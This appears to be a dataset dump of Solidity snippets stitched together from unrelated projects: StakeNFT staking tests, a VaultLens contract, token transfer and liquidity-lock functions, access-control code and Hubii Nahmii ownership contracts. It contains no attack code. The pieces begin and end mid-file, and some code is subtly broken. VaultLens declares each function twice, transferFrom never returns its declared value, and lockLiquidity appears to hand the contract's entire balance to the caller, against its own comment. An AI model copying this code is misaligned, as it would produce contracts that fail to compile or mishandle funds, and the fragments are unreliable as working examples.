(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertEq(stakeNFT.estimateTokenCollection(tokenID), 0);
}
function testFail_ExOwnerShouldNotLockWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
user.transferFrom(address(user), address(user2), tokenID);
assertEq(stakeNFT.ownerOf(tokenID), address(user2));
// old user should not be able to withdraw after transfer
user.lockWithdraw(tokenID, 10);
}
function testFail_ExOwnerShouldNotCollectEthLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
//Old user locks the position
user.lockWithdraw(tokenID, 10);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
user.transferFrom(address(user), address(user2), tokenID);
assertEq(stakeNFT.ownerOf(tokenID), address(user2));
// old user trying to collect ETh after transferring the token
user.collectEth(tokenID);
}
function testFail_NewOwnerShouldNotCollectEthLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
//Old user locks the position
user.lockWithdraw(tokenID, 10);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
user.transferFrom(address(user), address(user2), tokenID);
assertEq(stakeNFT.ownerOf(tokenID), address(user2));
setBlockNumber(block.number+9);
user2.collectEth(tokenID);
}
function testFail_NewOwnerShouldNotBurnLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
//Old user locks the position
user.lockWithdraw(tokenID, 10);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
user.transferFrom(address(user), address(user2), tokenID);
assertEq(stakeNFT.ownerOf(tokenID), address(user2));
setBlockNumber(block.number+9);
user2.burn(tokenID);
}
function testNewOwnerCanBurnLockedWithdrawOnceItsTime() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
//Old user locks the position
user.lockWithdraw(tokenID, 10);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
user.transferFrom(address(user), address(user2), tokenID);
assertEq(stakeNFT.ownerOf(tokenID), address(user2));
setBlockNumber(block.number+11);
user2.burn(tokenID);
}
function testCollectAfterLockPosition() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(user), tokenID, 800);
setBlockNumber(block.number + 2);
user.collectEth(tokenID);
}
function testLockWithdrawAfterLockPosition() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(user), tokenID, 800);
user.lockWithdraw(tokenID, 850);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 800, 850, 0, 0)
);
}
function testFail_LockWithdrawAfterLockPosition() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(user), tokenID, 800);
user.lockWithdraw(tokenID, 850);
setBlockNumber(block.number + 801);
user.collectEth(tokenID);
}
function testCollectAfterLockPosition_AndLater_BurnAfterLockedWithdraw() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(user), tokenID, 850);
user.lockWithdraw(tokenID, 800);
setBlockNumber(block.number + 802);
user.collectEth(tokenID);
setBlockNumber(block.number + 51);
user.burn(tokenID);
}
function testCollectAfterLockPosition_AndLater_CollectAfterLockedWithdraw() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(user), tokenID, 850);
user.lockWithdraw(tokenID, 800);
setBlockNumber(block.number + 801);
user.collectEth(tokenID);
setBlockNumber(block.number + 51);
user.collectEth(tokenID);
}
function testCollectAfterLockPosition_AndLater_CollectAndBurnAfterLockedWithdraw() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(donator), 100000 * ONE_MADTOKEN);
donator.approve(address(stakeNFT), 100000 * ONE_MADTOKEN);
payable(address(donator)).transfer(100000 ether);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
donator.depositEth(10 ether);
donator.depositToken(10 * ONE_MADTOKEN);
governance.lockPosition(address(user), tokenID, 850);
user.lockWithdraw(tokenID, 800);
assertEq(stakeNFT.estimateTokenCollection(tokenID), 10 * ONE_MADTOKEN);
assertEq(stakeNFT.estimateEthCollection(tokenID), 10 ether);
setBlockNumber(block.number + 801);
user.collectEth(tokenID);
setBlockNumber(block.number + 51);
user.collectEth(tokenID);
user.burn(tokenID);
}
}
|
Minting a lot depositing and collecting some burning some amount of Positionsmint more tokens again collecting all the existing tokens burning all token expect 1
|
function test_MintCollectBurnALot() public {
(StakeNFT stakeNFT, MadTokenMock madToken,,) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(donator), 10000000 * ONE_MADTOKEN);
donator.approve(address(stakeNFT), 10000000 * ONE_MADTOKEN);
payable(address(donator)).transfer(100000 ether);
UserAccount[50] memory users;
uint256[100] memory tokenIDs;
uint256 j=0;
uint256 iterations = 21;
uint256 reserveEth = 0;
uint256 reserveToken = 0;
for (uint256 i=0; i < iterations; i++){
users[i] = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(users[i]), (1_000_000 * ONE_MADTOKEN)+i);
users[i].approve(address(stakeNFT), (1_000_000 * ONE_MADTOKEN)+i);
tokenIDs[j] = users[i].mint((500_000 * ONE_MADTOKEN)-i);
reserveToken += (500_000 * ONE_MADTOKEN)-i;
tokenIDs[j+1] = users[i].mint((500_000 * ONE_MADTOKEN)+i);
reserveToken += (500_000 * ONE_MADTOKEN)+i;
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
for (uint256 i=0; i < iterations; i++){
if (i % 3 == 0){
donator.depositEth(i * 1 ether);
reserveEth += i * 1 ether;
donator.depositToken(i * ONE_MADTOKEN);
reserveToken += i * ONE_MADTOKEN;
reserveEth -= users[i].collectEth(tokenIDs[j]);
reserveToken -= users[i].collectToken(tokenIDs[j]);
reserveEth -= users[i].collectEth(tokenIDs[j+1]);
reserveToken -= users[i].collectToken(tokenIDs[j+1]);
}
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
for (uint256 i=0; i < iterations; i++){
if (i % 7 == 0){
(uint256 payoutEth, uint256 payoutToken) = users[i].burn(tokenIDs[j]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
(payoutEth, payoutToken) = users[i].burn(tokenIDs[j+1]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
}
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
for (uint256 i=0; i < iterations; i++){
if (i % 7 == 0){
users[i] = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(users[i]), (1_000_000 * ONE_MADTOKEN)+i);
users[i].approve(address(stakeNFT), (1_000_000 * ONE_MADTOKEN)+i);
tokenIDs[j] = users[i].mint((500_000 * ONE_MADTOKEN)-i);
reserveToken += (500_000 * ONE_MADTOKEN)-i;
tokenIDs[j+1] = users[i].mint((500_000 * ONE_MADTOKEN)+i);
reserveToken += (500_000 * ONE_MADTOKEN)+i;
donator.depositEth(i * 1 ether);
reserveEth += i * 1 ether;
donator.depositToken(i * ONE_MADTOKEN);
reserveToken += i * ONE_MADTOKEN;
}
j +=2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
for (uint256 i=0; i < iterations; i++){
reserveEth -= users[i].collectEth(tokenIDs[j]);
reserveToken -= users[i].collectToken(tokenIDs[j]);
reserveEth -= users[i].collectEth(tokenIDs[j+1]);
reserveToken -= users[i].collectToken(tokenIDs[j+1]);
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
j=0;
for (uint256 i=0; i < iterations-1; i++){
(uint256 payoutEth, uint256 payoutToken) = users[i].burn(tokenIDs[j]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
(payoutEth, payoutToken) = users[i].burn(tokenIDs[j+1]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
users[iterations-1].burn(tokenIDs[(iterations-1)*2]);
users[iterations-1].burn(tokenIDs[(iterations-1)*2+1]);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertEq(address(stakeNFT).balance, 0);
assertEq(stakeNFT.getTotalShares(), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0);
}
| 6,424,609
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./full_match/100/0xeCBc49C06180F28d355052E686320424AD482581/sources/contracts/citrus-vaults/src/VaultLens.sol
|
@dev Instead of updating this, consider versioning it
|
contract VaultLens {
pragma solidity 0.8.15;
struct StableVaultMetadataV1 {
address vault;
address asset;
int256 apy;
uint256 totalAssets;
}
struct VaultMetadata {
address vault;
address asset;
int256 apy;
uint8 decimals;
uint256 withdrawalFee;
uint256 harvestFee;
uint256 totalAssets;
Harvestable[] harvestable;
}
struct UserVaultMetadata {
address vault;
address asset;
int apy;
uint8 decimals;
uint256 withdrawalFee;
uint256 harvestFee;
uint balance;
uint assetBalance;
}
function getVaultMetadata(Vault vault) public view returns (VaultMetadata memory) {
uint8 decimals = vault.decimals();
(uint256 diffTimestamp, int256 diffAssetsPerShare) = vault.yield();
int256 apy = (int256(LogExpMath.pow(uint256(diffAssetsPerShare + 1e18), (365 days / diffTimestamp) * 1e18)) - 1e18) * 100;
return VaultMetadata({
vault: address(vault),
asset: address(vault.asset()),
apy: apy,
decimals: decimals,
withdrawalFee: vault.withdrawalFee(),
harvestFee: vault.harvestFee(),
totalAssets: vault.totalAssets(),
harvestable: vault.harvestable()
});
}
function getVaultMetadata(Vault vault) public view returns (VaultMetadata memory) {
uint8 decimals = vault.decimals();
(uint256 diffTimestamp, int256 diffAssetsPerShare) = vault.yield();
int256 apy = (int256(LogExpMath.pow(uint256(diffAssetsPerShare + 1e18), (365 days / diffTimestamp) * 1e18)) - 1e18) * 100;
return VaultMetadata({
vault: address(vault),
asset: address(vault.asset()),
apy: apy,
decimals: decimals,
withdrawalFee: vault.withdrawalFee(),
harvestFee: vault.harvestFee(),
totalAssets: vault.totalAssets(),
harvestable: vault.harvestable()
});
}
function getVaultMetadataV1(Vault vault) public view returns (StableVaultMetadataV1 memory) {
(uint256 diffTimestamp, int256 diffAssetsPerShare) = vault.yield();
int256 apy = (int256(LogExpMath.pow(uint256(diffAssetsPerShare + 1e18), (365 days / diffTimestamp) * 1e18)) - 1e18) * 100;
return StableVaultMetadataV1({
vault: address(vault),
asset: address(vault.asset()),
apy: apy,
totalAssets: vault.totalAssets()
});
}
function getVaultMetadataV1(Vault vault) public view returns (StableVaultMetadataV1 memory) {
(uint256 diffTimestamp, int256 diffAssetsPerShare) = vault.yield();
int256 apy = (int256(LogExpMath.pow(uint256(diffAssetsPerShare + 1e18), (365 days / diffTimestamp) * 1e18)) - 1e18) * 100;
return StableVaultMetadataV1({
vault: address(vault),
asset: address(vault.asset()),
apy: apy,
totalAssets: vault.totalAssets()
});
}
function getVaultsMetadata(Vault[] calldata vaults) public view returns (VaultMetadata[] memory) {
VaultMetadata[] memory arr = new VaultMetadata[](vaults.length);
for (uint256 i = 0; i < vaults.length; i++) {
arr[i] = getVaultMetadata(vaults[i]);
}
return arr;
}
function getVaultsMetadata(Vault[] calldata vaults) public view returns (VaultMetadata[] memory) {
VaultMetadata[] memory arr = new VaultMetadata[](vaults.length);
for (uint256 i = 0; i < vaults.length; i++) {
arr[i] = getVaultMetadata(vaults[i]);
}
return arr;
}
function getUserVaultMetadata(address user, Vault vault) public view returns (UserVaultMetadata memory) {
uint8 decimals = vault.decimals();
uint balance = vault.convertToAssets(vault.balanceOf(user));
uint assetBalance = vault.asset().balanceOf(user);
(uint256 diffTimestamp, int256 diffAssetsPerShare) = vault.yield();
int256 apy = (int256(LogExpMath.pow(uint256(diffAssetsPerShare + 1e18), (365 days / diffTimestamp) * 1e18)) - 1e18) * 100;
return UserVaultMetadata({
vault: address(vault),
asset: address(vault.asset()),
apy: apy,
decimals: decimals,
withdrawalFee: vault.withdrawalFee(),
harvestFee: vault.harvestFee(),
balance: balance,
assetBalance: assetBalance
});
}
function getUserVaultMetadata(address user, Vault vault) public view returns (UserVaultMetadata memory) {
uint8 decimals = vault.decimals();
uint balance = vault.convertToAssets(vault.balanceOf(user));
uint assetBalance = vault.asset().balanceOf(user);
(uint256 diffTimestamp, int256 diffAssetsPerShare) = vault.yield();
int256 apy = (int256(LogExpMath.pow(uint256(diffAssetsPerShare + 1e18), (365 days / diffTimestamp) * 1e18)) - 1e18) * 100;
return UserVaultMetadata({
vault: address(vault),
asset: address(vault.asset()),
apy: apy,
decimals: decimals,
withdrawalFee: vault.withdrawalFee(),
harvestFee: vault.harvestFee(),
balance: balance,
assetBalance: assetBalance
});
}
function getUserVaultsMetadata(address user, Vault[] calldata vaults) public view returns (UserVaultMetadata[] memory) {
UserVaultMetadata[] memory arr = new UserVaultMetadata[](vaults.length);
for (uint256 i = 0; i < vaults.length; i++) {
arr[i] = getUserVaultMetadata(user, vaults[i]);
}
return arr;
}
function getUserVaultsMetadata(address user, Vault[] calldata vaults) public view returns (UserVaultMetadata[] memory) {
UserVaultMetadata[] memory arr = new UserVaultMetadata[](vaults.length);
for (uint256 i = 0; i < vaults.length; i++) {
arr[i] = getUserVaultMetadata(user, vaults[i]);
}
return arr;
}
}
| 14,279,179
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] |
./partial_match/1/0xBFcc973A3662c91cd2C28F575Ff201927479b1D8/sources/contracts/Fund.sol
|
* @notice Rejects Grant Recommendation and emits a `GrantRejected` event. @param grantId UUID representing this grant/
|
function rejectGrant(string calldata grantId)
public
onlyAddressOrAdminOrRole(
manager,
fundFactoryContract.endaomentAdmin(),
IEndaomentAdmin.Role.REVIEWER
)
{
require(!isEqual(grantId, ""), "Fund: Must provide a grantId");
require(pendingGrants[grantId].recipient != address(0), "Fund: Grant does not exist.");
require(!pendingGrants[grantId].complete, "Fund: Grant is already finalized.");
delete pendingGrants[grantId];
emit GrantRejected(grantId);
}
| 2,650,346
|
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./partial_match/3/0xFf8aC46598e0143DB05e704c9E1B3812C408a952/sources/_HERTZ.sol
|
------------------------------------------------------------------------ Transfer `tokens` from the `from` account to the `to` account The calling account must already have sufficient tokens approved - From account must have sufficient balance to transfer - Spender must have sufficient allowance to transfer - 0 value transfers are not allowed - This function cannot be used for burning tokens. - This function cannot be used for minting tokens. ------------------------------------------------------------------------
|
function transferFrom(address from, address to, uint tokens) override public returns(bool) {
require(balances[from] >= tokens && allowed[from][msg.sender] >= tokens && tokens > 0, "Zero transfer or not enough (allowed) funds");
require(address(to) != address(0), "No burning allowed");
require(address(from) != address(0), "You can't mint this token, purchase it instead");
uint send = tokens.sub(burn);
_transferFrom(from, to, send);
_transferFrom(from, address(0), burn);
}
| 5,162,177
|
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./partial_match/4/0xb11Bc8F6358368004206AF1ac2FA8aA4e68dFD2D/sources/BooBankerResearchAgreement.sol
|
Sell half of burned tokens, provides liquidity and locks it away forever can only be called when balance is > 1 and last lock is more than 2 hours ago bbra balance caller rewards subtract caller fee - 1% always only reward caller after trade to prevent any possible reentrancy check balance is still available in case LP takes more tokens than we are expecting reward _callerReward or balanceOf(this) - whichever is smallest
|
function lockLiquidity() public isHuman() {
uint256 _bal = balanceOf(address(this));
require(_bal >= 1e18, "Minimum of 1 BBRA before we can lock liquidity");
require(balanceOf(msg.sender) >= 5e18, "You must own at least 50 BBra to call lock");
require(block.timestamp >= lastLiquidityLock.add(1 hours), "Minimum of 1 hour before we can lock liquidity");
uint256 _callerReward = 0;
if (rewardLiquidityLockCaller) {
_callerReward = _bal.div(100);
_bal = _bal.sub(_callerReward);
}
uint256 brraForLiq = _bal.sub(bbraToEth);
swapTokensForWeth(bbraToEth);
addLiquidity(brraForLiq, ethFromBbra);
emit LiquidityLock(brraForLiq, ethFromBbra);
if (_callerReward != 0) {
if(balanceOf(address(this)) >= _callerReward) {
transfer(msg.sender, _callerReward);
transfer(msg.sender, balanceOf(address(this)));
}
}
lastLiquidityLock = block.timestamp;
}
| 8,524,765
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/// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
contract AccessControlToken is AccessControlEnumerable {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(ADMIN_ROLE, msg.sender);
_setRoleAdmin(ADMIN_ROLE, DEFAULT_ADMIN_ROLE);
}
/**
* @dev Overload {grantRole} to track enumerable memberships.
*/
function grantRole(bytes32 _role, address _account)
public
override(AccessControlEnumerable)
onlyRole(ADMIN_ROLE)
{
super.grantRole(_role, _account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships.
*/
function revokeRole(bytes32 _role, address _account)
public
override(AccessControlEnumerable)
onlyRole(ADMIN_ROLE)
{
super.revokeRole(_role, _account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships.
*/
function renounceRole(bytes32 _role, address _account)
public
override(AccessControlEnumerable)
{
require(hasRole(_role, _account), "You has no role");
super.renounceRole(_role, _msgSender());
}
}
|
* @dev Overload {revokeRole} to track enumerable memberships./
|
function revokeRole(bytes32 _role, address _account)
public
override(AccessControlEnumerable)
onlyRole(ADMIN_ROLE)
{
super.revokeRole(_role, _account);
}
| 916,533
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./full_match/421613/0x65A6cFF0264c210cCf25C6ef6c9bA48BA2D82725/sources/project_/contracts/Spacestation.sol
|
tokenId => fatigue
|
mapping(uint256 => uint256) private dogeFatigue;
| 11,579,664
|
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pragma solidity ^0.4.25;
pragma experimental ABIEncoderV2;
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Modifiable
* @notice A contract with basic modifiers
*/
contract Modifiable {
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title SelfDestructible
* @notice Contract that allows for self-destruction
*/
contract SelfDestructible {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
bool public selfDestructionDisabled;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the address of the destructor role
function destructor()
public
view
returns (address);
/// @notice Disable self-destruction of this contract
/// @dev This operation can not be undone
function disableSelfDestruction()
public
{
// Require that sender is the assigned destructor
require(destructor() == msg.sender);
// Disable self-destruction
selfDestructionDisabled = true;
// Emit event
emit SelfDestructionDisabledEvent(msg.sender);
}
/// @notice Destroy this contract
function triggerSelfDestruction()
public
{
// Require that sender is the assigned destructor
require(destructor() == msg.sender);
// Require that self-destruction has not been disabled
require(!selfDestructionDisabled);
// Emit event
emit TriggerSelfDestructionEvent(msg.sender);
// Self-destruct and reward destructor
selfdestruct(msg.sender);
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Ownable
* @notice A modifiable that has ownership roles
*/
contract Ownable is Modifiable, SelfDestructible {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
address public deployer;
address public operator;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Return the address that is able to initiate self-destruction
function destructor()
public
view
returns (address)
{
return deployer;
}
/// @notice Set the deployer of this contract
/// @param newDeployer The address of the new deployer
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
// Set new deployer
address oldDeployer = deployer;
deployer = newDeployer;
// Emit event
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
/// @notice Set the operator of this contract
/// @param newOperator The address of the new operator
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
// Set new operator
address oldOperator = operator;
operator = newOperator;
// Emit event
emit SetOperatorEvent(oldOperator, newOperator);
}
}
/// @notice Gauge whether message sender is deployer or not
/// @return true if msg.sender is deployer, else false
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
/// @notice Gauge whether message sender is operator or not
/// @return true if msg.sender is operator, else false
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
/// @notice Gauge whether message sender is operator or deployer on the one hand, or none of these on these on
/// on the other hand
/// @return true if msg.sender is operator, else false
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Servable
* @notice An ownable that contains registered services and their actions
*/
contract Servable is Ownable {
//
// Types
// -----------------------------------------------------------------------------------------------------------------
struct ServiceInfo {
bool registered;
uint256 activationTimestamp;
mapping(bytes32 => bool) actionsEnabledMap;
bytes32[] actionsList;
}
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
mapping(address => ServiceInfo) internal registeredServicesMap;
uint256 public serviceActivationTimeout;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds);
event RegisterServiceEvent(address service);
event RegisterServiceDeferredEvent(address service, uint256 timeout);
event DeregisterServiceEvent(address service);
event EnableServiceActionEvent(address service, string action);
event DisableServiceActionEvent(address service, string action);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Set the service activation timeout
/// @param timeoutInSeconds The set timeout in unit of seconds
function setServiceActivationTimeout(uint256 timeoutInSeconds)
public
onlyDeployer
{
serviceActivationTimeout = timeoutInSeconds;
// Emit event
emit ServiceActivationTimeoutEvent(timeoutInSeconds);
}
/// @notice Register a service contract whose activation is immediate
/// @param service The address of the service contract to be registered
function registerService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, 0);
// Emit event
emit RegisterServiceEvent(service);
}
/// @notice Register a service contract whose activation is deferred by the service activation timeout
/// @param service The address of the service contract to be registered
function registerServiceDeferred(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, serviceActivationTimeout);
// Emit event
emit RegisterServiceDeferredEvent(service, serviceActivationTimeout);
}
/// @notice Deregister a service contract
/// @param service The address of the service contract to be deregistered
function deregisterService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
registeredServicesMap[service].registered = false;
// Emit event
emit DeregisterServiceEvent(service);
}
/// @notice Enable a named action in an already registered service contract
/// @param service The address of the registered service contract
/// @param action The name of the action to be enabled
function enableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
bytes32 actionHash = hashString(action);
require(!registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = true;
registeredServicesMap[service].actionsList.push(actionHash);
// Emit event
emit EnableServiceActionEvent(service, action);
}
/// @notice Enable a named action in a service contract
/// @param service The address of the service contract
/// @param action The name of the action to be disabled
function disableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
bytes32 actionHash = hashString(action);
require(registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = false;
// Emit event
emit DisableServiceActionEvent(service, action);
}
/// @notice Gauge whether a service contract is registered
/// @param service The address of the service contract
/// @return true if service is registered, else false
function isRegisteredService(address service)
public
view
returns (bool)
